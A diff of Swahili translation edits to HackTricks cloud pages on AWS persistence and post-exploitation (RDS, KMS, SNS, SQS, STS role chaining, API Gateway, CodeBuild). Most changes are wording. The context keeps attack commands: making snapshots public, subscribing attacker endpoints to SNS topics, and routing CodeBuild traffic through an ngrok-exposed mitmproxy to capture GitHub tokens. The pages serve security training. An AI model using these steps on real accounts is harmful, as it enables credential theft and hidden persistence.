Mshambuliaji anaweza tu **kuunda mtumiaji ndani ya DB** hivyo hata kama nenosiri la mtumiaji mkuu limebadilishwa **hampotezi ufikiaji** wa hifadhidata.
|
||||
|
||||
### Make snapshot public
|
||||
### Fanya picha kuwa ya umma
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
|
||||
@@ -12,14 +12,14 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Wakati mchakato wa usimbaji unakamilika, mtumiaji atatumia KMS API kutengeneza funguo mpya (`aws kms generate-data-key`) na at **hifadhi funguo iliyosimbwa iliyotengenezwa ndani ya metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ili wakati usimbuaji unapotokea, inaweza kusimbua tena kwa kutumia KMS:
|
||||
Wakati mchakato wa usimbaji unakamilika, mtumiaji atatumia KMS API kuunda funguo mpya (`aws kms generate-data-key`) na at **hifadhi funguo iliyoundwa iliyosimbwa ndani ya metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ili wakati usimbuaji unapotokea, inaweza kuisimbua tena kwa kutumia KMS:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hivyo, mshambuliaji anaweza kupata funguo hii kutoka kwenye metadata na kusimbua kwa KMS (`aws kms decrypt`) ili kupata funguo iliyotumika kusimbua taarifa. Kwa njia hii, mshambuliaji atakuwa na funguo ya usimbaji na ikiwa funguo hiyo itatumika tena kusimbua faili nyingine, ataweza kuitumia.
|
||||
Hivyo, mshambuliaji anaweza kupata funguo hii kutoka kwenye metadata na kuisimbua kwa KMS (`aws kms decrypt`) ili kupata funguo iliyotumika kusimbua taarifa. Kwa njia hii mshambuliaji atakuwa na funguo ya usimbuaji na ikiwa funguo hiyo itatumika tena kusimbua faili nyingine ataweza kuitumia.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Ingawa kawaida ACLs za ndoo zimezimwa, mshambuliaji mwenye ruhusa za kutosha anaweza kuzitumia vibaya (ikiwa zimewezeshwa au ikiwa mshambuliaji anaweza kuzihamisha) ili kuendelea kupata ufikiaji wa ndoo ya S3.
|
||||
Ingawa kawaida ACLs za ndoo zimezimwa, mshambuliaji mwenye ruhusa za kutosha anaweza kuzitumia vibaya (ikiwa zimewezeshwa au ikiwa mshambuliaji anaweza kuzifanya ziweze) ili kuendelea kupata ufikiaji wa ndoo ya S3.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,7 +16,7 @@ Inawezekana **kutoa ufikiaji wa siri kwa akaunti za nje** kupitia sera za rasili
|
||||
|
||||
### Kupitia Lambda ya Kugeuza Siri
|
||||
|
||||
Ili **kugeuza siri** kiotomatiki, **Lambda** iliyowekwa inaitwa. Ikiwa mshambuliaji angeweza **kubadilisha** **kanuni** angeweza moja kwa moja **kuhamasisha siri mpya** kwake mwenyewe.
|
||||
Ili **kugeuza siri** kiotomatiki, **Lambda** iliyopangwa inaitwa. Ikiwa mshambuliaji angeweza **kubadilisha** **kanuni** angeweza moja kwa moja **kuhamasisha siri mpya** kwake mwenyewe.
|
||||
|
||||
Hii ndiyo jinsi kanuni ya lambda kwa hatua kama hiyo inaweza kuonekana:
|
||||
```python
|
||||
|
||||
@@ -63,11 +63,11 @@ Sera ifuatayo inawapa kila mtu katika AWS ruhusa ya kusoma na kuandika katika SN
|
||||
]
|
||||
}
|
||||
```
|
||||
### Create Subscribers
|
||||
### Unda Wajumbe
|
||||
|
||||
Ili kuendelea kutoa ujumbe wote kutoka kwa mada zote, mshambuliaji anaweza **kuunda wanachama kwa mada zote**.
|
||||
Ili kuendelea kutoa ujumbe wote kutoka kwa mada zote, mshambuliaji anaweza **kuunda wajumbe kwa ajili ya mada zote**.
|
||||
|
||||
Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wanachama pekee wanaotumia itifaki **SQS** wanaweza kutumika.
|
||||
Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wajumbe tu wanaotumia protokali **SQS** wanaweza kutumika.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
|
||||
@@ -12,8 +12,8 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Kutumia sera ya rasilimali
|
||||
|
||||
Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ufikiaji wa kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\
|
||||
Sera ifuatayo inawapa kila mtu katika AWS ufikiaji wa kila kitu katika foleni inayoitwa **MyTestQueue**:
|
||||
Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ruhusa ya kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\
|
||||
Sera ifuatayo inawapa kila mtu katika AWS ruhusa ya kila kitu katika foleni inayoitwa **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
|
||||
@@ -1 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
# AWS - SSM Uendelevu
|
||||
|
||||
@@ -10,12 +10,12 @@ Kwa maelezo zaidi angalia:
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdooring ya Step Function
|
||||
### Backdooring ya hatua
|
||||
|
||||
Backdoor step function ili iweze kufanya ujanja wowote wa kudumu hivyo kila wakati inatekelezwa itatekeleza hatua zako za uhalifu.
|
||||
Backdoor hatua ili iweze kufanya ujanja wowote wa kudumu hivyo kila wakati inatekelezwa itatekeleza hatua zako za uhalifu.
|
||||
|
||||
### Backdooring ya majina
|
||||
|
||||
Ikiwa akaunti ya AWS inatumia majina kuita step functions, itakuwa inawezekana kubadilisha jina ili kutumia toleo jipya lililo na backdoor la step function.
|
||||
Ikiwa akaunti ya AWS inatumia majina kuita hatua, itakuwa inawezekana kubadilisha jina ili kutumia toleo jipya lililo na backdoor la hatua hiyo.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@ Kwa maelezo zaidi tembelea:
|
||||
../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Token ya kuzingatia jukumu
|
||||
### Assume role token
|
||||
|
||||
Token za muda mfupi haziwezi kuorodheshwa, hivyo kudumisha token ya muda mfupi iliyo hai ni njia ya kudumisha uvumilivu.
|
||||
|
||||
@@ -23,14 +23,14 @@ aws sts get-session-token \
|
||||
|
||||
# Jina la kifaa cha vifaa mara nyingi ni nambari kutoka nyuma ya kifaa, kama GAHT12345678
|
||||
<strong># Jina la kifaa cha SMS ni ARN katika AWS, kama arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Jina la kifaa cha Kijamii ni ARN katika AWS, kama arn:aws:iam::123456789012:mfa/username
|
||||
</strong># Jina la kifaa cha Virtual ni ARN katika AWS, kama arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Kucheza Mnyororo wa Jukumu
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Kucheza mnyororo wa jukumu ni kipengele kinachotambulika cha AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumiwa kudumisha uvumilivu wa siri. Inahusisha uwezo wa **kuchukua jukumu ambalo kisha linachukua jingine**, huenda ikarejea kwenye jukumu la awali kwa **njia ya mzunguko**. Kila wakati jukumu linapochukuliwa, uwanja wa muda wa kuisha wa ithibati unarefresh. Kwa hivyo, ikiwa majukumu mawili yamewekwa ili kuchukua kila mmoja, mpangilio huu unaruhusu upya wa kudumu wa ithibati.
|
||||
[**Kugandamiza majukumu ni kipengele kinachotambulika cha AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumiwa kwa kudumisha uvumilivu wa siri. Inahusisha uwezo wa **kuchukua jukumu ambalo kisha linachukua jingine**, huenda ikarejea kwenye jukumu la awali kwa **njia ya mzunguko**. Kila wakati jukumu linapochukuliwa, uwanja wa muda wa kuisha wa ithibati unarefresh. Kwa hivyo, ikiwa majukumu mawili yamewekwa ili kuchukua kila mmoja, mpangilio huu unaruhusu upya wa kudumu wa ithibati.
|
||||
|
||||
Unaweza kutumia [**chombo hiki**](https://github.com/hotnops/AWSRoleJuggler/) kudumisha mnyororo wa jukumu:
|
||||
Unaweza kutumia [**chombo hiki**](https://github.com/hotnops/AWSRoleJuggler/) kudumisha mchakato wa kugandamiza majukumu:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,7 +40,7 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba skripti ya [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) kutoka kwenye hifadhi hiyo ya Github haipati njia zote ambazo mnyororo wa jukumu unaweza kuundwa.
|
||||
> Kumbuka kwamba script ya [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) kutoka kwenye hifadhi hiyo ya Github haipati njia zote ambazo mnyororo wa jukumu unaweza kuundwa.
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
@@ -1 +1 @@
|
||||
# AWS - Baada ya Kutumia
|
||||
# AWS - Post Exploitation
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Upataji wa APIs zisizo wazi
|
||||
|
||||
Unaweza kuunda kiunganishi katika [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) na huduma `com.amazonaws.us-east-1.execute-api`, funua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote.\
|
||||
Unaweza kuunda kiunganishi katika [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) na huduma `com.amazonaws.us-east-1.execute-api`, fungua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote.\
|
||||
Kisha, kutoka kwa mashine ya EC2 utaweza kufikia kiunganishi na hivyo kuita API ya gateway ambayo haikuwa wazi hapo awali.
|
||||
|
||||
### Kupita kupitia mwili wa Ombi
|
||||
@@ -21,7 +21,7 @@ Teknolojia hii ilipatikana katika [**hii CTF writeup**](https://blog-tyage-net.t
|
||||
|
||||
Kama ilivyoonyeshwa katika [**nyaraka za AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) katika sehemu ya `PassthroughBehavior`, kwa default, thamani **`WHEN_NO_MATCH`**, wakati wa kuangalia kichwa cha **Content-Type** cha ombi, itapitisha ombi kwa nyuma bila mabadiliko.
|
||||
|
||||
Hivyo, katika CTF, API Gateway ilikuwa na kiolezo cha uunganisho ambacho kilikuwa **kikizuia bendera kutolewa** katika jibu wakati ombi lilitumwa na `Content-Type: application/json`:
|
||||
Hivyo, katika CTF gateway ya API ilikuwa na kigezo cha uunganisho ambacho kilikuwa **kikizuia bendera kutolewa** katika jibu wakati ombi lilitumwa na `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
@@ -36,11 +36,11 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers
|
||||
|
||||
Katika sehemu ya **Enumeration** unaweza kuona jinsi ya **kupata mpango wa matumizi** wa funguo. Ikiwa una funguo na ime **punguzia** matumizi X **kwa mwezi**, unaweza **kuitumia tu na kusababisha DoS**.
|
||||
|
||||
**API Key** inahitaji tu **kujumuishwa** ndani ya **HTTP header** inayoitwa **`x-api-key`**.
|
||||
Funguo ya **API** inahitaji tu **kujumuishwa** ndani ya **HTTP header** inayoitwa **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Mshambuliaji mwenye ruhusa `apigateway:UpdateGatewayResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza scripts za uhalifu**.
|
||||
Mshambuliaji mwenye ruhusa `apigateway:UpdateGatewayResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza skripti za uhalifu**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -51,7 +51,7 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API.
|
||||
**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API.
|
||||
|
||||
> [!NOTE]
|
||||
> Inahitaji kupimwa
|
||||
@@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kuzuia trafiki ya API.
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kuingilia kati trafiki ya API.
|
||||
|
||||
> [!NOTE]
|
||||
> Inahitaji kupimwa
|
||||
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API.
|
||||
**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza scripts za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API.
|
||||
|
||||
> [!NOTE]
|
||||
> Inahitaji kupimwa
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Mshambuliaji mwenye ruhusa `apigateway:UpdateRestApi` na `apigateway:CreateDeployment` anaweza **kubadilisha mipangilio ya API Gateway REST API ili kuzima uandishi wa kumbukumbu au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API**.
|
||||
Mshambuliaji mwenye ruhusa `apigateway:UpdateRestApi` na `apigateway:CreateDeployment` anaweza **kubadilisha mipangilio ya API Gateway REST API ili kuzima logging au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -124,7 +124,7 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa rasilimali za API, kupita kwenye udhibiti wa usalama.
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa rasilimali za API, kupita mipango ya usalama.
|
||||
|
||||
> [!NOTE]
|
||||
> Inahitaji kupimwa
|
||||
|
||||
@@ -12,33 +12,33 @@ Kwa maelezo zaidi, angalia:
|
||||
|
||||
### Angalia Siri
|
||||
|
||||
Ikiwa akidi zimewekwa katika Codebuild kuungana na Github, Gitlab au Bitbucket kwa njia ya alama za kibinafsi, nywila au ufikiaji wa alama za OAuth, hizi **akidi zitawekwa kama siri katika meneja wa siri**.\
|
||||
Ikiwa akreditivu zimewekwa katika Codebuild kuungana na Github, Gitlab au Bitbucket kwa njia ya alama za kibinafsi, nywila au ufikiaji wa alama za OAuth, hizi **akreditivu zitawekwa kama siri katika meneja wa siri**.\
|
||||
Hivyo, ikiwa una ufikiaji wa kusoma meneja wa siri utaweza kupata hizi siri na kuhamasisha kwenye jukwaa lililounganishwa.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Tumia Upatikanaji wa Repo ya CodeBuild
|
||||
### Tumia Upatikanaji wa Repo wa CodeBuild
|
||||
|
||||
Ili kuunda **CodeBuild**, itahitaji **ufikiaji wa repo ya msimbo** ambayo itakuwa ikitumia. Jukwaa kadhaa zinaweza kuwa zinahifadhi msimbo huu:
|
||||
Ili kuunda **CodeBuild**, itahitaji **ufikiaji wa repo ya msimbo** ambayo itakuwa ikitumia. Jukwaa kadhaa zinaweza kuwa na msimbo huu:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Mradi wa **CodeBuild lazima uwe na ufikiaji** wa mtoa huduma wa chanzo ulioanzishwa, ama kupitia **IAM role** au kwa kutumia **token ya github/bitbucket au ufikiaji wa OAuth**.
|
||||
**Mradi wa CodeBuild lazima uwe na ufikiaji** wa mtoa huduma wa chanzo ulioanzishwa, ama kupitia **IAM role** au kwa kutumia **token ya github/bitbucket au ufikiaji wa OAuth**.
|
||||
|
||||
Mshambuliaji mwenye **idhini za juu katika CodeBuild** anaweza kutumia ufikiaji huu ulioanzishwa kuvuja msimbo wa repo iliyoanzishwa na zingine ambapo akidi zilizowekwa zina ufikiaji.\
|
||||
Ili kufanya hivyo, mshambuliaji atahitaji tu **kubadilisha URL ya hifadhi kwa kila repo ambayo akidi za usanidi zina ufikiaji** (kumbuka kwamba wavuti ya aws itataja zote kwako):
|
||||
Mshambuliaji mwenye **idhini za juu katika CodeBuild** anaweza kutumia ufikiaji huu ulioanzishwa kuvuja msimbo wa repo iliyoanzishwa na zingine ambapo akreditivu zilizowekwa zina ufikiaji.\
|
||||
Ili kufanya hivyo, mshambuliaji atahitaji tu **kubadilisha URL ya hifadhi kwa kila repo ambayo akreditivu za usanidi zina ufikiaji** (kumbuka kwamba wavuti ya aws itataja zote kwako):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Na **kubadilisha amri za Buildspec ili kuhamasisha kila repo**.
|
||||
|
||||
> [!WARNING]
|
||||
> Hata hivyo, hii **kazi ni ya kurudiwa na inachosha** na ikiwa token ya github ilipangwa na **idhini za kuandika**, mshambuliaji **hataweza (ku) kutumia hizo idhini** kwani hana ufikiaji wa token hiyo.\
|
||||
> Au ana? Angalia sehemu inayofuata
|
||||
> Hata hivyo, hii **kazi ni ya kurudiwa na inachosha** na ikiwa token ya github ilipangwa na **idhini za kuandika**, mshambuliaji **hataweza (ku) kutumia hizo idhini** kwani hana ufikiaji wa token.\
|
||||
> Au je, ana? Angalia sehemu inayofuata
|
||||
|
||||
### Kuvaa Alama za Ufikiaji kutoka AWS CodeBuild
|
||||
### Kuleta Alama za Ufikiaji kutoka AWS CodeBuild
|
||||
|
||||
Unaweza kuvuja ufikiaji uliopewa katika CodeBuild kwa jukwaa kama Github. Angalia ikiwa ufikiaji wowote kwa jukwaa za nje ulitolewa kwa:
|
||||
```bash
|
||||
@@ -58,7 +58,7 @@ aws codebuild delete-project --name <value>
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za CodeBuild, akisababisha usumbufu katika ugawaji wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
|
||||
Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za CodeBuild, akisababisha usumbufu katika mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
|
||||
@@ -4,26 +4,26 @@
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
|
||||
Kwanza, angalia kama kuna akauti za chanzo zilizowekwa ambazo unaweza kuvuja:
|
||||
Kwanza, angalia kama kuna akiba za chanzo zilizowekwa ambazo unaweza kuvuja:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### Kupitia Picha ya Docker
|
||||
|
||||
Ikiwa unapata kuwa uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza **kuondoa** hiyo **ufikiaji** (**GH token au OAuth token**) kwa kufanya Codebuild **itumie picha maalum ya docker** kuendesha ujenzi wa mradi.
|
||||
Ikiwa unapata kwamba uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza **kuondoa** hiyo **ufikiaji** (**GH token au OAuth token**) kwa kufanya Codebuild **itumie picha maalum ya docker** kuendesha ujenzi wa mradi.
|
||||
|
||||
Kwa kusudi hili unaweza **kuunda mradi mpya wa Codebuild** au kubadilisha **mazingira** ya moja iliyopo ili kuweka **picha ya Docker**.
|
||||
|
||||
Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni picha ya Docker ya msingi sana ambayo itaweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**.
|
||||
Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni picha ya Docker ya msingi sana ambayo itaweka **mabadiliko ya env `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Unda & Pakia picha yako ya Docker MitM**
|
||||
- Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na **ujenge picha ya docker**.
|
||||
- **USIWEKE `http_proxy`** ili usikamate maombi kwa kiungo cha metadata.
|
||||
- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` kuweka proxy kwa mwenyeji wako.
|
||||
- Mara tu unapokuwa na picha ya Docker iliyojengwa, **paki kwenye repo ya umma** (Dockerhub, ECR...)
|
||||
- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` kuweka proxy kwa mwenyeji wako
|
||||
- Mara tu unapokuwa na picha ya Docker iliyojengwa, **pakia kwenye repo ya umma** (Dockerhub, ECR...)
|
||||
2. **Weka mazingira**
|
||||
- Unda **mradi mpya wa Codebuild** au **badilisha** mazingira ya moja iliyopo.
|
||||
- Weka mradi kutumia **picha ya Docker iliyozalishwa awali**
|
||||
- Weka mradi kutumia **picha ya Docker iliyozalishwa hapo awali**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -34,7 +34,7 @@ Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> The **mitmproxy version used was 9.0.1**, iliripotiwa kwamba na toleo la 10 hii inaweza isifanye kazi.
|
||||
> Toleo la **mitmproxy lililotumika ni 9.0.1**, iliripotiwa kwamba na toleo la 10 hii huenda isifanye kazi.
|
||||
|
||||
4. **Kimbia ujenzi & kamata akreditivu**
|
||||
|
||||
@@ -42,7 +42,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hii pia inaweza kufanywa kutoka kwa aws cli na kitu kama
|
||||
Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,14 +73,14 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** miradi ina mipangilio inayoitwa **`insecureSsl`** ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.\
|
||||
**Codebuild** miradi yana mipangilio inayoitwa **`insecureSsl`** ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.\
|
||||
Kuwezesha hili, inaruhusu Codebuild kuungana na hifadhi **bila kuangalia cheti** kinachotolewa na jukwaa.
|
||||
|
||||
- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kutumia kitu kama:
|
||||
- Kwanza unahitaji kuhesabu usanidi wa sasa kwa kutumia kitu kama:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Kisha, kwa taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya).
|
||||
- Kisha, kwa kutumia taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya).
|
||||
- Zaidi ya hayo, ongeza pia mabadiliko ya mazingira **http_proxy** na **https_proxy** yanayoelekeza kwenye tcp ngrok yako kama:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Hatimaye, bonyeza **Jenga mradi**, **vithibitisho** vitatumwa kwa **maandishi wazi** (base64) kwenye bandari ya mitm:
|
||||
- Hatimaye, bonyeza **Build the project**, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Kupitia itifaki ya HTTP~~
|
||||
### ~~Kupitia protokali ya HTTP~~
|
||||
|
||||
> [!TIP] > **Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo, mshambuliaji hawezi kuutumia tena :)**
|
||||
> [!TIP] > **Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo mshambuliaji hawezi kuutumia tena :)**
|
||||
|
||||
Mshambuliaji mwenye **idhini za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket** iliyowekwa au ikiwa idhini ilipangwa kupitia OAuth, **token ya muda ya OAuth inayotumika kufikia msimbo**.
|
||||
Mshambuliaji mwenye **permissions za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket** iliyowekwa au ikiwa permissions zilipangwa kupitia OAuth, **token ya muda ya OAuth inayotumika kufikia msimbo**.
|
||||
|
||||
- Mshambuliaji anaweza kuongeza mabadiliko ya mazingira **http_proxy** na **https_proxy** kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -162,11 +162,11 @@ mitm.run()
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Hatimaye, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm:
|
||||
- Hatimaye, **vithibitisho** vitatumwa kwa **maandishi wazi** (base64) kwenye bandari ya mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
